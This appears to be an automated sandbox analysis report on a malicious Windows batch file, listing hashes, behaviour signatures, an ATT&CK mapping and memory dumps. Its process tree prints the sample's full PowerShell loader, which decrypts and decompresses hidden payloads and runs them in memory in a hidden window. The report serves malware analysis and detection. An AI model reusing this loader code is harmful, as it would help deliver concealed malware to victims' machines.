c605d818ed30ce011d0116ba907cda2395086d28ef59c5ffd9cdd88b70da9586

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 20:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

skibiditoilet.bat
Size

387KB
MD5

6ec5500db5d8212dcc568b18625ec02d
SHA1

ff54436163b39f0b5fbee0ca7979baa17575b11b
SHA256

c605d818ed30ce011d0116ba907cda2395086d28ef59c5ffd9cdd88b70da9586
SHA512

0357463151a2e0e383a69a979276f4d88f62a23c40bbaccad5f81e99b7d93f41fb0b99802f46bec907795e211bbd1f941564708b78be269282e0cfa475336551
SSDEEP

6144:GhtfNR4FRR7UoSJGUtNQN0+XLTVWJ9pCI5LhLZijlLoppEkyeiUolokyX288+8L2:GhHR2i1zQN/BWLpq2pE+gJU2c8TW

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2652	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2652	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2736 wrote to memory of 2684	2736	cmd.exe	31
PID 2736 wrote to memory of 2684	2736	cmd.exe	31
PID 2736 wrote to memory of 2684	2736	cmd.exe	31
PID 2736 wrote to memory of 2652	2736	cmd.exe	32
PID 2736 wrote to memory of 2652	2736	cmd.exe	32
PID 2736 wrote to memory of 2652	2736	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\skibiditoilet.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Lkb2a6wq+wdGI8KXoIWU0J4MWA7cE3mdjhriSvO0Ok0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O0KT7arsvuClDc3Kj4sQ5Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xgzet=New-Object System.IO.MemoryStream(,$param_var); $QHMEA=New-Object System.IO.MemoryStream; $IgjAN=New-Object System.IO.Compression.GZipStream($xgzet, [IO.Compression.CompressionMode]::Decompress); $IgjAN.CopyTo($QHMEA); $IgjAN.Dispose(); $xgzet.Dispose(); $QHMEA.Dispose(); $QHMEA.ToArray();}function execute_function($param_var,$param2_var){ $KRqFn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $jredd=$KRqFn.EntryPoint; $jredd.Invoke($null, $param2_var);}$iqLQK = 'C:\Users\Admin\AppData\Local\Temp\skibiditoilet.bat';$host.UI.RawUI.WindowTitle = $iqLQK;$tTsNQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($iqLQK).Split([Environment]::NewLine);foreach ($cKIUl in $tTsNQ) { if ($cKIUl.StartsWith('UKUaOQBKFFteykhAscvJ')) { $WoETV=$cKIUl.Substring(20); break; }}$payloads_var=[string[]]$WoETV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2652-4-0x000007FEF573E000-0x000007FEF573F000-memory.dmp

Filesize
4KB

Download
memory/2652-5-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/2652-6-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2652-7-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-9-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-10-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-8-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-11-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-12-0x000007FEF573E000-0x000007FEF573F000-memory.dmp

Filesize
4KB

Download
memory/2652-13-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download